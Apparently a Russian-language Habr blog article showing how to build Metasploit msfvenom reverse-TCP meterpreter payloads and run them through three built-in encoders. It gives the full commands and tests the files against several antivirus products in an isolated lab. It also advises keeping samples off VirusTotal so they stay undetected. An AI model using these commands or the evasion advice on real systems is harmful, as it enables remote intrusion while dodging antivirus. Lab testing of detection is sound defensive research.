![](https://habrastorage.org/getpro/habr/upload_files/4b9/9d8/af9/4b99d8af9dd3d525978e93e958a760e4.jpg)
Введение
Приветствуем дорогих читателей! В сегодняшней статье ознакомимся с созданием полезных нагрузок при помощи msfvenom, использованием встроенных encoders(средства сокрытия нагрузки) и проверим их эффективность на трёх виртуальных машинах с разным антивирусным ПО.
Дисклеймер: Все данные, предоставленные в статье, взяты из открытых источников. Не призывают к действию и предоставлены только для ознакомления и изучения механизмов используемых технологий.
Полезные OSINT инструменты в телеграме (всегда рабочие ссылки)
Создание полезных нагрузок через msfvenom
MsfVenom — это инструмент, который является частью фреймворка Metasploit и используется для создания полезных нагрузок (payloads). Он объединяет функции двух старых инструментов: msfpayload и msfencode. MsfVenom позволяет генерировать различные виды вредоносных полезных нагрузок, которые могут быть использованы для эксплуатации уязвимостей в системах.
Основные возможности MsfVenom:
Создание полезных нагрузок: MsfVenom поддерживает множество типов полезных нагрузок для различных платформ, включая Windows, Linux, macOS и мобильные операционные системы.
Поддержка различных форматов: Полезные нагрузки могут быть экспортированы в различные форматы, такие как исполняемые файлы (EXE), скрипты (PHP, Python), динамические библиотеки (DLL) и многие другие.
Шифрование и обфускация: MsfVenom предлагает опции для шифрования полезных нагрузок и их обфускации, что помогает избежать обнаружения антивирусами.
Генерация однострочных скриптов: MsfVenom может создавать однострочные скрипты, которые легко вставить в другие программы или использовать в веб-эксплойтах.
Пример использования
Чтобы создать простую полезную нагрузку для Windows, можно использовать следующую команду:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f exe -o payload.exe
В этом примере:
- -p
указывает тип полезной нагрузки (в данном случае Meterpreter с обратным TCP).
- LHOST
и LPORT
задают IP-адрес и порт для обратного соединения.
- -f
указывает формат выходного файла (exe).
- -o
задает имя выходного файла.
Встроенные encoders для сокрытия полезной нагрузки от антивирусов
В MsfVenom энкодеры используются для обфускации полезных нагрузок, чтобы сделать их менее заметными для антивирусного программного обеспечения и систем обнаружения вторжений. Энкодеры изменяют байтовый код полезной нагрузки, не меняя ее функциональности, что помогает избежать обнаружения. Давайте рассмотрим три энкодера:
1. x64/xor_context
Использует контекстное XOR-шифрование, изменяя ключ в зависимости от выполнения, что затрудняет обнаружение через статический анализ.. Пример команды для создания полезной нагрузки с использованием этого энкодера:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/xor_context -o payload.exe
2. x64/xor_dynamic
Этот энкодер динамически генерирует ключ XOR во время выполнения, что делает его более устойчивым к анализу и обнаружению.. Пример команды:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/xor_dynamic -o payload.exe
3. x64/zutto_dekiru
Энкодер zutto_dekiru
применяет сложные методы обфускации, включая шифрование и изменение структуры кода, что усложняет анализ.. Пример команды:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/zutto_dekiru -o payload.exe
Пояснения к командам
- -p
: Определяет полезную нагрузку, в данном случае это windows/x64/meterpreter/reverse_tcp
, которая создает обратное соединение с указанным хостом.
- LHOST
: Указывает IP-адрес вашего устройства, на которое будет отправлено обратное соединение.
- LPORT
: Указывает порт, на котором будет слушать ваше устройство.
- -e
: Указывает энкодер, который вы хотите использовать.
- -o
: Указывает имя выходного файла, в который будет записана закодированная полезная нагрузка.
Проверка антивирусами
VirusTotal
![](https://habrastorage.org/getpro/habr/upload_files/448/735/ecc/448735eccb19889425f26366c50f3d0c.png)
Результат очевиден, полезная нагрузка определилась сразу. Для проверки сигнатур нагрузок, делиться подобными онлайн-сканерами плохо, т.к потом они перестают работать и палятся, поэтому забываем про онлайн сервисы подобные VirusTotal.
Виртуальные машины
Для тестирования мы создали три виртуальные машины на ОС Windows 10 Pro и одну под управлением Kali Linux. Создали между всеми машинами одну виртуальную сеть без доступа к интернету(для того чтобы антивирусное ПО не делилось сигнатурами на анализ). В одну машину мы установили антивирус Kaspersky, в другую Grizzly Pro, а третью оставили со стандартным Windows Defender(на двух предыдущих запустили скрипт "no defender" чтобы полностью отключить защитник Windows для чистоты тестирования).
Внутренние IP машин следующие:
Kali Linux - 192.168.56.4
Kaspersky - 192.168.56.5
Grizzly Pro - 192.168.56.6
Windows Defender - 192.168.56.7
Сначала протестируем полезные нагрузки без энкодеров. Для примера возьмём нагрузки dll, exe(обычный шелл и meterpreter) и bat, поместим в архив и скинем на каждую машину.
![Создание нагрузок и помещение в архив Создание нагрузок и помещение в архив](https://habrastorage.org/getpro/habr/upload_files/101/4ed/894/1014ed894383a6c58700a72d2d342554.png)
Как только закинули архив в машину с касперским, он тут же удалил как файлы exe, dll, так и батник без шансов на запуск и восстановление.
![Антивирус Kaspersky Антивирус Kaspersky](https://habrastorage.org/getpro/habr/upload_files/b18/68a/331/b1868a331bef47232ff2619fdb6daaf6.png)
![](https://habrastorage.org/getpro/habr/upload_files/eaa/b63/c8e/eaab63c8eada8f8eb9acca967e667bad.png)
Антивирус Grizzly Pro отлично среагировал на файлы exe и dll, но полностью проигнорировал батник, что привело к его запуску и получению удалённого доступа.
![Антивирус заметил shell.exe Антивирус заметил shell.exe](https://habrastorage.org/getpro/habr/upload_files/e14/561/caa/e14561caa2989efb7caed5ff12663a8e.png)
![](https://habrastorage.org/getpro/habr/upload_files/233/a6c/14d/233a6c14d6fef207277f2f1a6d685367.png)
Защитник Windows отреагировал идентично Grizzly Pro.
![Запретил доступ только exe файлу Запретил доступ только exe файлу](https://habrastorage.org/getpro/habr/upload_files/131/461/71f/13146171fa3a8e86eaf09946daaa9f95.png)
![](https://habrastorage.org/getpro/habr/upload_files/73e/4d6/13f/73e4d613f6a853bfc4b64fe509adde6a.png)
Запускаем батники и получаем удалённый доступ.
![Запуск bat на машине с Grizzly Pro и аналогично Windows Defender Запуск bat на машине с Grizzly Pro и аналогично Windows Defender](https://habrastorage.org/getpro/habr/upload_files/645/ddf/ace/645ddfaced6d5164204b5417eaac73c1.png)
![Получена сессия тачки с Grizzly Pro Получена сессия тачки с Grizzly Pro](https://habrastorage.org/getpro/habr/upload_files/6f9/e40/4c5/6f9e404c551ff350769d16140c680e99.png)
![Получена сессия тачки с Windows Defender Получена сессия тачки с Windows Defender](https://habrastorage.org/getpro/habr/upload_files/f7f/b12/77e/f7fb1277eb3449021b3e10417477be5f.png)
Как видим, батники кодировать нет смысла, а вот файлы exe мы прогоним через три криптора про которые упомянули в теоретической части. Таким же образом мы помещаем все 3 шелла в архив и тестируем на всех машинах.
![](https://habrastorage.org/getpro/habr/upload_files/e9d/fe7/d21/e9dfe7d213c69aea9041bb3026ea5ca0.png)
На машине с касперским ситуация идентичная прошлой, все три сигнатуры были моментально удалены.
![Антивирус удалил все 3 сигнатуры Антивирус удалил все 3 сигнатуры](https://habrastorage.org/getpro/habr/upload_files/c2a/56a/972/c2a56a97284d6780919f0a85a277d17f.png)
С антивирусом Grizzly Pro ситуация идентичная.
![](https://habrastorage.org/getpro/habr/upload_files/1fb/e51/dc7/1fbe51dc7242e5f75b1fff2eb292e201.png)
Машина с Windows Defender опознала все сигнатуры.
![](https://habrastorage.org/getpro/habr/upload_files/163/9e3/2a9/1639e32a94fc16f908284d40fa5e22a2.png)
Итоги
Для удобства и максимальной наглядности мы составили таблицу сравнения детекта сигнатур из тестов выше и добавили ещё статистику по двум популярным антивирусам (Avast, Dr.Web).
![](https://habrastorage.org/getpro/habr/upload_files/5ce/e27/33b/5cee2733b4d2effa8bf42f6a87702c85.png)
P.S.
Полезные OSINT инструменты в телеграме (всегда рабочие ссылки)
LHMedia в телеграме: